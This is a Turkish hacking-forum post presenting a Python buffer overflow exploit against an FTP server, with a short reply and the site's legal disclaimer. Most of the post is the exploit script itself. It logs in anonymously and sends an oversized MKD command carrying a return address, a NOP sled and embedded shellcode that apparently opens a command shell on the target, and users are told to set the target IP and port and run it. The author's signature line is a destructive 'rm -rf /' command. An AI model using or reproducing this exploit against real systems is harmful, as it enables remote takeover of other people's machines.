Python Buffer Overflow

Hacknology

Kıdemli Üye
25 Eki 2015
2,712
11
rm -rf /
[COLOR="WhiteMerhaba, önceleri size bu açık için bir fuzzer paylaşmıştım. Şimdi bu açığı nasıl exploit edeceğinizi göstereceğim. Öncelikle Buffer overflow, açığa sahip yazılımın taşmasına neden olmaktır. Bunu biz exploitleyerek o programın işleyişine dışardan erişeceğiz.
Elimizde açıklı bir server olduğunu varsayalım kodlardaki ip kısmına bu serverin ip'si ve port'a ise yayın yaptığı port'u girmemiz gerekiyor, sonra çalıştırmak yeterlidir.
[IMG]http://i.hizliresim.com/2nApG0.png[/IMG]
Kullanımı resimdeki gibidir. Programın kaynak kodları ise:
[URL="https://tik.lat/E34so"] https://github.com/Hacknology/BUFexploit/edit/master/exploit.py[/URL]
Kod:
#/usr/bin/env python
#-*- coding: UTF-8 -*-
import socket
import sys
ip = "192.168.0.28"
port = 21
shellcode = "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50"+ "\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" + "\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7" + "\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78" + "\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3" + "\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01" + "\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58" + "\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3" + "\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a" + "\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32" + "\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff" + "\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b" + "\x00\xff\xd5\x6a\x08\x59\x50\xe2\xfd\x40\x50\x40\x50\x68" + "\xea\x0f\xdf\xe0\xff\xd5\x97\x68\x02\x00\x11\x5c\x89\xe6" + "\x6a\x10\x56\x57\x68\xc2\xdb\x37\x67\xff\xd5\x57\x68\xb7" + "\xe9\x38\xff\xff\xd5\x57\x68\x74\xec\x3b\xe1\xff\xd5\x57" + "\x97\x68\x75\x6e\x4d\x61\xff\xd5\x68\x63\x6d\x64\x00\x89" + "\xe3\x57\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7" + "\x44\x24\x3c\x01\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50" + "\x56\x56\x56\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f" + "\x86\xff\xd5\x89\xe0\x4e\x56\x46\xff\x30\x68\x08\x87\x1d" + "\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff" + "\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72" + "\x6f\x6a\x00\x53\xff\xd5"
buf = "\x90"*20+shellcode
data = "A"*247 + "\x59\x54\xC3\x77" + buf + "C"*(749-len(buf))
import time
print('[*]Hacknology tüm THT ailesine iyi günler diler (:')
time.sleep(1)
try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    conn = s.connect((ip,port))
except:
    print("[-] Baglanti basarisiz")
    sys.exit()

try:
    s.recv(1024)
    s.send("USER anonymous\r\n".encode('utf-8'))
    s.recv(1024)
    s.send("PASS anonymous\r\n".encode('utf-8'))
    print('[+]Anonim olarak baglanildi.')
except:
    pass
s.recv(1024)

s.send(('MKD'+data+'\r\n').encode('utf-8'))
print("[+]Data yollandi")
s.recv(1024)
s.send('QUIT\r\n'.encode('utf-8'))
s.close()

print("[+]PoC basarili!")
[/COLOR]​
 

Leopic

Yaşayan Forum Efsanesi
26 Şub 2016
9,948
10
Ben yapamazsın diyordumda yüzümü kara çıkardın :) Ellerine,Emegine sağlık.
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.